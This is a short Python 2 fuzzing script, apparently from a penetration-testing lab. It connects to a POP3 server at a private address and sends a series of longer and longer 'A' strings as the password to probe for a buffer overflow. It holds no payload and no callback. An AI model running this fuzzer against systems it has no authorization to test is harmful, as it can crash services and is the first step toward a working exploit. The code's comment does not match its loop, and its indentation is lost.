Python - Fuzz

#!/usr/bin/python

import socket

# Create an array of buffers, from 1 to 5900, with increments of 200.

buffer = ["A"]

counter = 100

while len(buffer) <= 30:

buffer.append("A"*counter)

counter = counter+200

for string in buffer:

print "Fuzzing PASS with %s bytes" % len(string)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect(('10.11.15.64',110))

s.recv(1024)

s.send('USER test\r\n')

s.recv(1024)

s.send('PASS ' + string + '\r\n')

s.recv(1024)

s.send('QUIT\r\n')

s.close()